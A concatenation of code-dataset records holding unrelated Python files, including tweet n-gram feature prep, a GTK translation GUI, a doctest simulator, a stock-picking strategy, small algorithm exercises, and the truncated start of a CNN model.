countN2.most_common(getTopN)\ncountN3 = Counter(tokensN3)\nhashTagN3 = countN3.most_common(getTopN)\n\nunigram=[]\ntwo_gram=[]\nthree_gram=[]\n\nfor i in range(len(hashTag1)):\n\tunigram.append(hashTag1[i][0])\n\nfor i in range(len(hashTag2)):\n\ttwo_gram.append(hashTag2[i][0])\n\nfor i in range(len(hashTag3)):\n\tthree_gram.append(hashTag3[i][0])\n\nunigramN=[]\ntwo_gramN=[]\nthree_gramN=[]\n\nfor i in range(len(hashTagN1)):\n\tunigramN.append(hashTagN1[i][0])\n\nfor i in range(len(hashTagN2)):\n\ttwo_gramN.append(hashTagN2[i][0])\n('https' in words) or ('http' in words) or ('htt' in words) or ('ht' in words)\nfor i in range(len(hashTagN3)):\n\tthree_gramN.append(hashTagN3[i][0])\n'''\ny=[]\nY=list(data['xinsong'])\n\ncorrect=0\nnum0=0\nnum0total=0\nnum1=0\nnum1total=0\nnum2=0\nnum2total=0\nflag=0\n\nfor i in range(len(data)):\n\tflag=0\n\twords=data['text'].iloc[i]\n\tname=data['username'].iloc[i]\n\twords=words+' '+name\n\twords=words.lower()\n\n\tif(('vaccine' not in words) and ('vaccines' not in words) and ('gardasil' not in words) and ('shot' not in words)):\n\t\ty.append(2)\n\t\tcontinue\n\tfor j in range(len(dep)-1):\n\t\tif(dep[j] in words):\n\t\t\ty.append(1)\n\t\t\tflag=1\n\t\t\tbreak\n\tif(flag==0):\n\t\ty.append(0)\n\t\tcontinue\n\nfor i in range(len(Y)):\n\tif(Y[i]==y[i]):\n\t\tcorrect+=1\n\t\tif(Y[i]==0):\n\t\t\tnum0+=1\n\t\tif(Y[i]==1):\n\t\t\tnum1+=1\n\t\tif(Y[i]==2):\n\t\t\tnum2+=1\n\telse:\n\t\tprint(data['text'].iloc[i])\n\t\tprint(data['xinsong'].iloc[i])\n\t\tprint(y[i])\n\tif(Y[i]==0):\n\t\tnum0total+=1\n\telif(Y[i]==1):\n\t\tnum1total+=1\n\telse:\n\t\tnum2total+=1\nprint(float(num0)/float(num0total))\nprint(float(num1)/float(num1total))\nprint(float(num2)/float(num2total))\nprint(float(correct)/float(len(Y)))\n\n\n'''\n#load data\nfeature=[]\nlabel=list(data['xinsong'])\nfor i in range(len(data)):\n\tfeature.append([])\n\tcount = Counter(line_get_tokens(data['text'].iloc[i]))\n\tcountN = Counter(line_get_tokens(data['username'].iloc[i]))\n\ttry:\n\t\tcount2 = Counter(line_get_tokens2(data['text'].iloc[i]))\n\texcept:\n\t\tcount2 = None\n\ttry:\n\t\tcount3 = Counter(line_get_tokens3(data['text'].iloc[i]))\n\texcept:\n\t\tcount3 = None\n\ttry:\n\t\tcountN2 = Counter(line_get_tokens2(data['username'].iloc[i]))\n\texcept:\n\t\tcountN2 = None\n\ttry:\n\t\tcountN3 = Counter(line_get_tokens3(data['username'].iloc[i]))\n\texcept:\n\t\tcountN3 = None\n\tfor j in range(len(unigram)):\n\t\tif(count.get(unigram[j])==None):\n\t\t\tfeature[i].append(0)\n\t\telse:\n\t\t\tfeature[i].append(count.get(unigram[j]))\n\tfor j in range(len(two_gram)):\n\t\tif(count2.get(two_gram[j])==None):\n\t\t\tfeature[i].append(0)\n\t\telse:\n\t\t\tfeature[i].append(count2.get(two_gram[j]))\n\tfor j in range(len(three_gram)):\n\t\tif(count3.get(three_gram[j])==None):\n\t\t\tfeature[i].append(0)\n\t\telse:\n\t\t\tfeature[i].append(count3.get(three_gram[j]))\n\tfor j in range(len(unigramN)):\n\t\tif(countN.get(unigramN[j])==None):\n\t\t\tfeature[i].append(0)\n\t\telse:\n\t\t\tfeature[i].append(countN.get(unigramN[j]))\n\tfor j in range(len(two_gramN)):\n\t\tif(countN2.get(two_gramN[j])==None):\n\t\t\tfeature[i].append(0)\n\t\telse:\n\t\t\tfeature[i].append(countN2.get(two_gramN[j]))\n\tfor j in range(len(three_gramN)):\n\t\tif(countN3.get(three_gramN[j])==None):\n\t\t\tfeature[i].append(0)\n\t\telse:\n\t\t\tfeature[i].append(countN3.get(three_gramN[j]))\n\nfeature = np.asarray(feature)\n\ndef load_trainingdata():\n\tdataF=feature[0:800]\n\tdataL=label[0:800]\n\treturn dataF, dataL\n\ndef load_testingdata():\n\tdataF=feature[800:1000]\n\tdataL=label[800:1000]\n\treturn dataF, dataL\n'''","sub_path":"prep.py","file_name":"prep.py","file_ext":"py","file_size_in_byte":5684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"630142772","text":"# -*- coding: utf-8 -*-\n\n\nimport numpy as np\nimport math\n\nclass nas_graph:\n def __init__(self, num_nodes):\n self.num_nodes = num_nodes\n self.node_weights = [1, 4, 8, 16] # for node types: 0, 1, 2, 3, respectively.\n self.edge_weight = 10 # for edge types: forward edge / skip connection\n self.G_matrix = np.zeros([num_nodes, num_nodes])\n self.C_matrix = np.zeros([num_nodes, num_nodes])\n \n def get_feature(self, filename): \n fp = open(filename)\n lines = fp.readlines()\n fp.close()\n \n i = 0\n for line in lines:\n \n if(len(line) == 0):\n continue\n \n cuts = line.split()\n \n node_id = int(cuts[0])\n self.C_matrix[i, i] = 1 / math.sqrt(self.node_weights[node_id])\n for j in range(1, len(cuts)):\n flag = int(cuts[j])\n if(flag):\n self.G_matrix[i,j-1] += -self.edge_weight\n self.G_matrix[j-1,i] += -self.edge_weight\n self.G_matrix[i,i] += self.edge_weight\n self.G_matrix[j-1,j-1] += self.edge_weight\n \n i = i + 1\n \n G_matrix = self.G_matrix\n print(G_matrix)\n t_matrix = np.dot(self.C_matrix, self.G_matrix)\n A_matrix = np.dot(t_matrix, self.C_matrix)\n print(A_matrix)\n # calculate eigenvalue & eigenvectors\n eigvals, eigvecs = np.linalg.eig(A_matrix)\n idx = eigvals.argsort()[::-1]\n eigvals = eigvals[idx]\n eigvecs = eigvecs[:,idx]\n \n temp = eigvecs[:, self.num_nodes-3:self.num_nodes-1]\n x = abs(np.reshape(temp.transpose(), [2*self.num_nodes, -1]))\n \n return x\n \nif __name__ == '__main__':\n g = nas_graph(6)\n x1 = g.get_feature('nas1.txt')\n g = nas_graph(6)\n x2 = g.get_feature('nas2.txt')\n g = nas_graph(6)\n x3 = g.get_feature('nas3.txt')\n print(x1,x2,x3)\n print(np.linalg.norm(x1-x2, ord=2))\n print(np.linalg.norm(x1-x3, ord=2))\n\n ","sub_path":"bayes/nas_graph.py","file_name":"nas_graph.py","file_ext":"py","file_size_in_byte":2098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"270603167","text":"#!/usr/bin/env python\nimport subprocess\nimport gi\ngi.require_version('Gtk', '3.0')\nfrom gi.repository import Gtk, Gdk\n\nbuilder = Gtk.Builder()\nbuilder.add_from_file(\"./gtranslate.glade\")\nclipboard = Gtk.Clipboard.get(Gdk.SELECTION_CLIPBOARD)\n\ninput_text = builder.get_object('input_text')\n\ndef paste_input_text(widget):\n text = clipboard.wait_for_text()\n input_text.get_buffer().set_text(text)\n\ninput_paste_button = builder.get_object('input_paste_button')\ninput_paste_button.connect(\"clicked\", paste_input_text)\n\noutput_text = builder.get_object('output_text')\n\ndef copy_output_text(widget):\n textbuffer = output_text.get_buffer()\n start_iter = textbuffer.get_start_iter()\n end_iter = textbuffer.get_end_iter()\n text = textbuffer.get_text(start_iter, end_iter, True) \n clipboard.set_text(text, -1)\n\noutput_copy_button = builder.get_object('output_copy_button')\noutput_copy_button.connect(\"clicked\", copy_output_text)\n \ndef run_command(command): \n textbuffer = input_text.get_buffer()\n start_iter = textbuffer.get_start_iter()\n end_iter = textbuffer.get_end_iter()\n text = textbuffer.get_text(start_iter, end_iter, True) \n line = subprocess.check_output(['trans', \"-brief\", command, text])\n output_text.get_buffer().set_text(str(line.decode(\"utf-8\")))\n\ndef translate(widget):\n index = combo_lang.get_active()\n if index == 0:\n run_command(':es')\n elif index == 1:\n run_command(':en')\n elif index == 2:\n run_command(':de')\n elif index == 3:\n run_command(':fr')\n else:\n print(\"Translation not implemented\")\n\ntranslate_button = builder.get_object('translate_button')\ntranslate_button.connect(\"clicked\", translate)\n\ndef on_combo_lang_changed(combo):\n translate(combo)\n\ncombo_lang = builder.get_object('combo_lang')\ncombo_lang.connect(\"changed\", on_combo_lang_changed)\n\ntranslate_options = [\"Translate the text to spanish\", \"Translate the text to english\", \n \"Translate the text to german\", \"Translate the text to french\"]\n\nfor option in translate_options:\n combo_lang.append_text(option)\n combo_lang.set_active(0)\n\nwindow = builder.get_object(\"main_window\")\nwindow.connect('destroy', Gtk.main_quit)\nwindow.show_all()\n\nGtk.main()","sub_path":"src/gtranslate.py","file_name":"gtranslate.py","file_ext":"py","file_size_in_byte":2257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"518984412","text":"\"\"\"Simulate running a phmdoctest command. Used for testing.\n\nUse during development to verify phmdoctest console commands\nwill succeed when called by Continuous Integration scripts.\nIf --outfile writes a file, the file is written in a\ntemporary directory.\nOptionally run pytest on the temporary file.\n\"\"\"\n\nimport os.path\nimport re\nimport subprocess\nfrom tempfile import TemporaryDirectory\nfrom typing import List, Optional, NamedTuple\n\nimport click.testing\n\nfrom phmdoctest.main import entry_point\n\n\nSimulatorStatus = NamedTuple(\n 'SimulatorStatus',\n [('runner_status', click.testing.Result),\n ('outfile', Optional[str]),\n ('pytest_exit_code', Optional[int])\n ])\n\"\"\"run_and_pytest() return value.\"\"\"\n\n\ndef run_and_pytest(\n well_formed_command: str,\n pytest_options: Optional[List[str]] = None) -> SimulatorStatus:\n \"\"\"\n Simulate a phmdoctest command, optionally run pytest.\n\n If a filename is provided by the ``--outfile`` option, the\n command is rewritten replacing the OUTFILE with a\n path to a temporary directory and a synthesized filename.\n\n To run pytest on an ``--outfile``, pass a list of zero or\n more pytest_options. pytest is run in a subprocess.\n\n The PYPI package pytest must be installed separately\n since pytest is not required to install phmdoctest.\n Use this command: ``pip install pytest``\n\n Returns SimulatorStatus object.\n SimulatorStatus.runner_status is the CliRunner.invoke return value.\n\n If an outfile is streamed to stdout a copy of it\n is found in simulator_status.runner_status.stdout.\n\n If calling run_and_pytest() from a pytest file, try adding the\n pytest option ``--capture=tee-sys`` to the command running\n pytest on the file.\n\n For example on a checkout of phmdoctest the command line:\n\n ``python -m pytest tests -v --capture=tee-sys``\n\n will print the outputs from the subprocess.run() invocations\n of pytest on the ``--outfile`` written to the temporary directory.\n A wild guess would be that the subprocess inherited changes\n made to the parent by --capture=tee-sys.\n\n Args:\n well_formed_command\n - starts with phmdoctest\n - followed by MARKDOWN_FILE\n - ends with ``--outfile`` OUTFILE (if needed)\n - all other options are between MARKDOWN_FILE and ``--outfile``\n for example:\n ``phmdoctest MARKDOWN_FILE --skip FIRST --outfile OUTFILE``\n\n pytest_options\n List of strings like this: ``['--strict',\n '--doctest-modules', '-v']``.\n Set to empty list to run pytest with no options.\n Set to None to skip pytest.\n\n Returns:\n SimulatorStatus containing runner_status, outfile,\n and pytest_exit_code.\n \"\"\"\n assert well_formed_command.startswith('phmdoctest ')\n # trim off any trailing whitespace\n command0 = well_formed_command.rstrip()\n # chop off phmdoctest since invoking by a python function call\n command1 = command0.replace('phmdoctest ', '', 1)\n # simulate commands that don't write OUTFILE.\n wants_help = '--help' in command1\n wants_version = '--version' in command1\n stream_outfile = (\n command1.endswith('--outfile -') or\n command1.endswith('--outfile=-')\n )\n no_outfile = '--outfile' not in command1\n runner = click.testing.CliRunner()\n if wants_help or wants_version or stream_outfile or no_outfile:\n return SimulatorStatus(\n runner_status=runner.invoke(cli=entry_point, args=command1),\n outfile=None,\n pytest_exit_code=None\n )\n\n # Simulate commands that write an OUTFILE.\n # Split up the command into pieces.\n # Chop out the path to the markdown file.\n # Drop the rest of the command starting at --outfile and the\n # outfile path since we rename the outfile in the invoked command.\n with TemporaryDirectory() as tmpdirname:\n # Create a filename in the temporary directory to\n # receive the OUTFILE.\n # Rewrite the command to use the new OUTFILE path and\n # split up the command to a list of strings.\n # Calling invoke with the single string form of the\n # rewritten command fails to find the outfile.\n # This might be because it is now an absolute path\n # to the tmpdir.\n outfile_path = os.path.join(tmpdirname, 'test_sim_tmpdir.py')\n markdown_path, command2 = command1.split(maxsplit=1)\n command3 = command2[:command2.find('--outfile')].strip()\n phm_args = [markdown_path]\n\n # Split up the rest of the command into pieces to pass to\n # runner.invoke().\n #\n # Developers:\n # Since the --outfile part has already been removed from command3\n # the only possible option remaining that takes TEXT is --skip.\n # If a new option that takes TEXT is added, add code here\n # to replace its '='.\n #\n # Special code to handle a --skip TEXT where TEXT is double quoted.\n # For example\n # --skip=\"Python 3.7\"\n # or\n # --skip \"Python 3.7\"\n command4 = command3.replace('--skip=', '--skip ')\n # get characters between double quotes including the quotes\n # get runs of non-whitespace characters\n args1 = re.findall(pattern=r'(\"[^\"]*\"|\\S+)', string=command4)\n # If both leading and trailing double quotes, remove them.\n args2 = [re.sub('^\"([^\"]*)\"$', r'\\1', arg) for arg in args1]\n phm_args.extend(args2)\n phm_args.extend(['--outfile', outfile_path])\n runner_status = runner.invoke(cli=entry_point, args=phm_args)\n\n # return now if the command failed\n if runner_status.exit_code:\n return SimulatorStatus(\n runner_status=runner_status,\n outfile=None,\n pytest_exit_code=None\n )\n\n # Copy the generated pytest file from the temporary directory.\n with open(outfile_path, 'r', encoding='utf-8') as fp:\n outfile_text = fp.read()\n\n pytest_exit_code = None\n if pytest_options is not None:\n completed = subprocess.run(\n ['python', '-m', 'pytest'] + pytest_options + [tmpdirname],\n )\n pytest_exit_code = completed.returncode\n\n return SimulatorStatus(\n runner_status=runner_status,\n outfile=outfile_text,\n pytest_exit_code=pytest_exit_code\n )\n","sub_path":"src/phmdoctest/simulator.py","file_name":"simulator.py","file_ext":"py","file_size_in_byte":6509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"199008482","text":"# This file is placed in the Public Domain.\n\n\nimport json\nimport os\nimport unittest\n\n\nfrom rssbot.objects import Object\nfrom rssbot.storage import Db, Wd, save\n\n\nimport rssbot.storage\n\n\nWd.workdir = \".test\"\n\n\nATTRS1 = (\n 'Classes',\n 'Db',\n 'Wd',\n 'last',\n 'save'\n )\n\n\nATTRS2 = (\n '__class__',\n '__delattr__',\n '__dict__',\n '__dir__',\n '__doc__',\n '__eq__',\n '__format__',\n '__ge__',\n '__getattribute__',\n '__gt__',\n '__hash__',\n '__init__',\n '__init_subclass__',\n '__le__',\n '__lt__',\n '__module__',\n '__ne__',\n '__new__',\n '__reduce__',\n '__reduce_ex__',\n '__repr__',\n '__setattr__',\n '__sizeof__',\n '__str__',\n '__subclasshook__',\n '__weakref__',\n 'all',\n 'find',\n 'fns',\n 'hook',\n 'last',\n 'match'\n )\n\n\nclass TestStorage(unittest.TestCase):\n\n def test_constructor(self):\n obj = Db()\n self.assertTrue(type(obj), Db)\n\n def test__class(self):\n obj = Db()\n clz = obj.__class__()\n self.assertTrue(\"Db\" in str(type(clz)))\n\n def test_dirmodule(self):\n self.assertEqual(\n dir(rssbot.storage),\n list(ATTRS1)\n )\n\n def test_dirobject(self):\n db = Db()\n self.assertEqual(\n dir(db),\n list(ATTRS2)\n )\n\n def test_module(self):\n self.assertTrue(Db().__module__, \"rssbot.storage\")\n\n def test_save(self):\n Wd.workdir = \".test\"\n obj = Object()\n path = save(obj)\n self.assertTrue(os.path.exists(os.path.join(Wd.workdir, \"store\", path)))\n","sub_path":"test/test_storage.py","file_name":"test_storage.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"277398521","text":"# encoding: utf-8\r\n'''\r\nCreated on 26 Sep 2017\r\n\r\n@author: MetalInvest\r\n'''\r\ntry:\r\n from kuanke.user_space_api import * \r\nexcept ImportError as ie:\r\n print(str(ie))\r\nfrom jqdata import * \r\nimport pandas as pd\r\nimport numpy as np\r\n\r\nclass HerdHead(object):\r\n\r\n def __init__(self, params):\r\n self.gainThre = params.get('gainThre', 0.05)\r\n self.count = params.get('count', 20)\r\n self.period = params.get('period', '1d')\r\n self.useIntraday = params.get('useIntraday', True)\r\n self.intraday_period = params.get('intraday_period', '230m')\r\n self.isAnal = params.get('isAnal', False)\r\n \r\n def filterStocks(self, stock_list):\r\n current_data = get_current_data()\r\n stock_list = [stock for stock in stock_list\r\n if not current_data[stock].is_st\r\n and 'ST' not in current_data[stock].name\r\n and '*' not in current_data[stock].name\r\n and '退' not in current_data[stock].name]\r\n stock_list = [stock for stock in stock_list if not current_data[stock].paused]\r\n return stock_list\r\n \r\n # 寻找指数的龙头股\r\n def findLeadStock(self,index,method = 0,isConcept=False):\r\n # 规则\r\n # 1.涨幅大于阈值的股票;\r\n # 2.指数涨幅在阈值的四分之一以上;\r\n # 3.过去一周成交量大于过去两周成交量;\r\n # 4.个股流通市值占总市值百分比达到阈值\r\n \r\n # 取出该指数的股票:\r\n oriStocks = get_industry_stocks(index) if not isConcept else get_concept_stocks(index)\r\n if not self.isAnal:\r\n oriStocks = self.filterStocks(oriStocks)\r\n # 根据个股涨幅筛选\r\n filtStocks = self.filtGain(oriStocks)\r\n # 计算指数涨幅\r\n gainIndex = self.calIndustryGain(oriStocks)\r\n \r\n # 根据规则筛选龙头股\r\n if float(gainIndex)/self.gainThre > 0.25:\r\n if method == 0:\r\n # 基本限制\r\n return filtStocks\r\n elif method == 1:\r\n # 基本限制+成交量限制\r\n filtStocks = self.filtVol(filtStocks)\r\n return filtStocks\r\n elif method == 2:\r\n # 基本限制+流通市值限制\r\n filtStocks = self.filtMarketCap(filtStocks, oriStocks)\r\n return filtStocks\r\n elif method == 3:\r\n # 基本限制+流通市值限制+成交量限制\r\n filtStocks = self.filtVol(filtStocks)\r\n if len(filtStocks) != 0:\r\n filtStocks = self.filtMarketCap(filtStocks,oriStocks)\r\n else:\r\n pass\r\n return filtStocks\r\n else:\r\n return 'Error method order'\r\n else:\r\n return []\r\n \r\n # 根据涨幅��选股票\r\n def filtGain(self, stocks):\r\n # 初始化参数信息\r\n rankValue = []\r\n \r\n # 计算涨跌幅\r\n for security in stocks:\r\n # 获取过去pastDay的指数值\r\n# stocksPrice = get_price(security, start_date = preDate, end_date = curDate, frequency = '1d', fields = 'close')\r\n# stocksPrice = attribute_history(security, self.count, unit=self.period, fields = ['close'], skip_paused=True, df=True)\r\n stocksPrice = self.getlatest_df(security, self.count, fields=['close'], skip_paused=True, df_flag=True)\r\n if len(stocksPrice)!=0:\r\n # 计算涨跌幅\r\n errCloseOpen = [(float(stocksPrice.iloc[-1]) - float(stocksPrice.iloc[0])) / float(stocksPrice.iloc[0])]\r\n rankValue += errCloseOpen\r\n else:\r\n rankValue += [0]\r\n \r\n # 根据周涨跌幅排名\r\n filtStocks = {'code':stocks,'rankValue':rankValue}\r\n filtStocks = pd.DataFrame(filtStocks)\r\n filtStocks = filtStocks.sort('rankValue',ascending = False)\r\n filtStocks = filtStocks[filtStocks['rankValue'] > self.gainThre]\r\n filtStocks = list(filtStocks['code'])\r\n return filtStocks\r\n \r\n # 根据成交量筛选股票\r\n def filtVol(self, stocks):\r\n # 初始化返回数组\r\n returnStocks = []\r\n # 筛选\r\n stockVol = history(self.count, unit=self.period, field='volume', security_list=stocks, df=False, skip_paused=False, fq='pre')\r\n if self.useIntraday:\r\n stockVol_intraday = history(1, unit=self.intraday_period, field='volume', security_list=stocks, df=False, skip_paused=False, fq='pre')\r\n for security in stocks:\r\n stockVol[security] = np.append(stockVol[security], stockVol_intraday[security])\r\n \r\n for security in stocks:\r\n if float(stockVol[security][-5:].mean()) > float(stockVol[security][-10:].mean()):\r\n returnStocks += [security]\r\n else:\r\n continue\r\n return returnStocks\r\n # 根据流通市值筛选股票\r\n def filtMarketCap(self,stocks,oriStocks):\r\n # 初始化返回数组\r\n returnStocks = []\r\n \r\n # 计算行业流通市值\r\n indexMarketCap = get_fundamentals(query(valuation.circulating_market_cap).filter(valuation.code.in_(oriStocks)))\r\n totalMarketCap = float(sum(indexMarketCap['circulating_market_cap']))\r\n \r\n # 计算个股流通市值占总市值百分比阈值:以四分位为阈值\r\n indexMarketCap = indexMarketCap.div(totalMarketCap,axis=0)\r\n porThre = indexMarketCap.describe()\r\n porThre = float(porThre.loc['25%'])\r\n \r\n # 筛选\r\n for security in stocks:\r\n stockMarketCap = get_fundamentals(query(valuation.circulating_market_cap).filter(valuation.code.in_([security])))\r\n if float(stockMarketCap.iloc[0]) > totalMarketCap * porThre:\r\n returnStocks += [security]\r\n else:\r\n continue\r\n return returnStocks\r\n \r\n # 计算行业涨幅\r\n def calIndustryGain(self, stocks):\r\n gainIndex = 0\r\n if not stocks:\r\n return 0\r\n for security in stocks:\r\n# stocksPrice = get_price(security, start_date = preDate, end_date = curDate, frequency = '1d', fields = 'close')\r\n# stocksPrice = attribute_history(security, self.count, unit=self.period, fields = ['close'], skip_paused=True, df=True)\r\n stocksPrice = self.getlatest_df(security, self.count, fields=['close'], skip_paused=True, df_flag=True)\r\n if len(stocksPrice) != 0:\r\n gainIndex += (float(stocksPrice.iloc[-1]) - float(stocksPrice.iloc[0])) / float(stocksPrice.iloc[0])\r\n else:\r\n continue\r\n return gainIndex/len(stocks)\r\n \r\n def getlatest_df(self, stock, count, fields, skip_paused=True, df_flag = True):\r\n df = attribute_history(stock, count, unit=self.period, fields = fields, skip_paused=skip_paused, df=df_flag)\r\n if self.useIntraday:\r\n containPaused = 'paused' in fields\r\n if containPaused:\r\n fields.remove('paused')\r\n latest_stock_data = attribute_history(stock, 1, self.intraday_period, fields, skip_paused=skip_paused, df=df_flag)\r\n if containPaused:\r\n latest_stock_data.assign(paused=np.nan)\r\n cd = get_current_data()\r\n latest_stock_data.ix[-1,'paused'] = cd[stock].paused\r\n\r\n if df_flag:\r\n current_date = latest_stock_data.index[-1].date()\r\n latest_stock_data = latest_stock_data.reset_index(drop=False)\r\n latest_stock_data.ix[0, 'index'] = pd.DatetimeIndex([current_date])[0]\r\n latest_stock_data = latest_stock_data.set_index('index')\r\n df = df.reset_index().drop_duplicates(subset='index').set_index('index')\r\n df = df.append(latest_stock_data, verify_integrity=True) # True\r\n else:\r\n final_fields = []\r\n if isinstance(fields, basestring):\r\n final_fields.append(fields)\r\n else:\r\n final_fields = list(fields)\r\n# [np.append(df[field], latest_stock_data[field][-1]) for field in final_fields]\r\n for field in final_fields:\r\n df[field] = np.append(df[field], latest_stock_data[field][-1])\r\n return df","sub_path":"JoinQuantStrat/Utility/herd_head.py","file_name":"herd_head.py","file_ext":"py","file_size_in_byte":8504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"492927951","text":"'''Before we starting to think about the codes, first we need to do a project plan, where we should bring forward the things that we need \nour program to do for us, and as well as think in advance of the armours we are going to arm our program with.'''\n'''PROGRAM SHOULD DO:\n1- copy text from the clipboard(ofcos after fetching the text somewhere frst)\n2- find the emails from the text(clipboard)\n3-paste them or save them onto the clipboard perhaps for feature usage\nARMING THE PROGRAM:\n1-pyperclip module\n2-regex module'''\n\n''' this program should be able to work with most basic email formats with when the need arises you can simply edit to become more \nversatile. For now we will just stick with the basic formattings. Feel free to edit should the need arise '''\n\n\n\nimport re, pyperclip\n\nemailRegex = re.compile(r'\\b[A-Z0-9._%+-]+@[A-Z0-9._]\\.[A-Z]{2,}\\b', re.I)\nemailmo = emailRegex.findall(text)\nfor groups in emailmo:\n print(groups)\n","sub_path":"emailRegex.py","file_name":"emailRegex.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"589433303","text":"class MyStack:\n def __init__(self, name):\n self.name = name\n self.arr = []\n self.ctr = -1\n\n def push(self, val):\n self.ctr += 1\n self.arr.append(val)\n\n def pop(self):\n if self.ctr == -1:\n return None\n self.ctr -= 1\n return self.arr.pop()\n\n def peek(self):\n return self.arr[-1]\n\ndef move_disk(p_from, p_to):\n #print('move {}:{}->{}'.format(p_from.peek(), p_from.name, p_to.name))\n p_to.push(p_from.pop())\n\ndef move(p_from, p_to, p_tmp, n):\n if n == 0:\n return\n if n == 1:\n move_disk(p_from, p_to)\n return\n\n move(p_from, p_tmp, p_to, n-1)\n move_disk(p_from, p_to)\n move(p_tmp, p_to, p_from, n-1)\n\ndef doit(num):\n N = num\n\n a = MyStack('a')\n b = MyStack('b')\n c = MyStack('c')\n\n for x in range(N, 0, -1):\n a.push(x)\n\n print('before:', a.arr, b.arr, c.arr)\n move(a, b, c, N)\n print('after:', a.arr, b.arr, c.arr)\n\ndoit(5)\n","sub_path":"3/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"360330914","text":"# \"\"\"\n# This is the interface that allows for creating nested lists.\n# You should not implement it, or speculate about its implementation\n# \"\"\"\n# class NestedInteger:\n# def __init__(self, value=None):\n# \"\"\"\n# If value is not specified, initializes an empty list.\n# Otherwise initializes a single integer equal to value.\n# \"\"\"\n#\n# def isInteger(self):\n# \"\"\"\n# @return True if this NestedInteger holds a single integer, rather than a nested list.\n# :rtype bool\n# \"\"\"\n#\n# def add(self, elem):\n# \"\"\"\n# Set this NestedInteger to hold a nested list and adds a nested integer elem to it.\n# :rtype void\n# \"\"\"\n#\n# def setInteger(self, value):\n# \"\"\"\n# Set this NestedInteger to hold a single integer equal to value.\n# :rtype void\n# \"\"\"\n#\n# def getInteger(self):\n# \"\"\"\n# @return the single integer that this NestedInteger holds, if it holds a single integer\n# Return None if this NestedInteger holds a nested list\n# :rtype int\n# \"\"\"\n#\n# def getList(self):\n# \"\"\"\n# @return the nested list that this NestedInteger holds, if it holds a nested list\n# Return None if this NestedInteger holds a single integer\n# :rtype List[NestedInteger]\n# \"\"\"\n\nclass Solution:\n def depthSum(self, nestedList: List[NestedInteger]) -> int:\n def helper(nestedList: List[NestedInteger], depth: int) -> int:\n sum_res = 0\n for i in range(len(nestedList)):\n if nestedList[i].isInteger():\n sum_res += nestedList[i].getInteger() * depth\n else:\n sum_res += helper(nestedList[i].getList(), depth + 1)\n return sum_res\n\n return helper(nestedList, 1)\n\n\n# Performance Result:\n# Coding Time: 00:10:49\n# Time Complexity: O(N)\n# Space Complexity: O(N)\n# Runtime: 32 ms, faster than 65.76%\n# Memory Usage: 13.8 MB, less than 20.00%\n","sub_path":"339-Nested-List-Weight-Sum.py","file_name":"339-Nested-List-Weight-Sum.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"493634693","text":"def binary_search(array, val):\n max = len(array)\n min = 0\n while min <= max:\n i = min + int((max - min) / 2)\n if array[i] == val:\n return True\n elif array[i] < val:\n min = i + 1\n else:\n max = i - 1\n return False\n\ndef main():\n _ = input()\n s = [int(v) for v in input().split(\" \")]\n _ = input()\n t = [int(v) for v in input().split(\" \")]\n\n count = 0\n for tv in t:\n if binary_search(s, tv):\n count += 1\n print(count)\n\nif __name__ == '__main__':\n main()\n","sub_path":"aoj/src/ALDS1_4_B/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"426520559","text":"import torch\nimport torch.utils.data\nimport numpy as np\nimport scipy.io as sio\nimport matplotlib.pyplot as plt\nfrom torchsummary import summary\n\ntorch.backends.cudnn.deterministic = True\ntorch.backends.cudnn.benchmark = False\n\n### set a random seed for reproducibility (do not change this)\nseed = 42\nnp.random.seed(seed)\ntorch.manual_seed(seed)\n\n### Set if you wish to use cuda or not\nuse_cuda_if_available = False\ntrain_mean = np.zeros((3,1))\n\n### Define the Convolutional Neural Network Model\nclass CNN(torch.nn.Module):\n def __init__(self, num_bins):\n super(CNN, self).__init__()\n\n ### Initialize the various Network Layers\n # Architecture: gradually decreasing kernel size and increasing channel size\n # Uses stride rather than pooling to downsample\n # Uses padding to ensure image corners are properly considered\n # Uses dropout and batch normalization for regularization\n self.conv1 = torch.nn.Conv2d(3, 16, stride=3, kernel_size=(7, 7), padding=3, padding_mode=\"reflect\")\n self.relu1 = torch.nn.ReLU()\n self.bn1 = torch.nn.BatchNorm2d(16)\n self.dropout1 = torch.nn.Dropout2d(p=0.1)\n\n self.conv2 = torch.nn.Conv2d(16, 16, stride=2, kernel_size=(5, 5), padding=2, padding_mode=\"reflect\")\n self.relu2 = torch.nn.ReLU()\n self.bn2 = torch.nn.BatchNorm2d(16)\n self.dropout2 = torch.nn.Dropout2d(p=0.2)\n\n self.conv3 = torch.nn.Conv2d(16, 32, stride=2, kernel_size=(3, 3), padding=2, padding_mode=\"reflect\")\n self.relu3 = torch.nn.ReLU()\n self.bn3 = torch.nn.BatchNorm2d(32)\n self.dropout3 = torch.nn.Dropout2d(p=0.2)\n\n self.conv4 = torch.nn.Conv2d(32, 32, stride=2, kernel_size=(3, 3), padding=2, padding_mode=\"reflect\")\n self.relu4 = torch.nn.ReLU()\n self.bn4 = torch.nn.BatchNorm2d(32)\n self.dropout4 = torch.nn.Dropout2d(p=0.2)\n\n self.conv5 = torch.nn.Conv2d(32, 32, stride=2, kernel_size=(3, 3), padding=2, padding_mode=\"reflect\")\n self.relu5 = torch.nn.ReLU()\n self.bn5 = torch.nn.BatchNorm2d(32)\n self.dropout5 = torch.nn.Dropout2d(p=0.2)\n\n self.conv6 = torch.nn.Conv2d(32, 32, stride=2, kernel_size=(3, 3), padding=2, padding_mode=\"reflect\")\n self.relu6 = torch.nn.ReLU()\n self.bn6 = 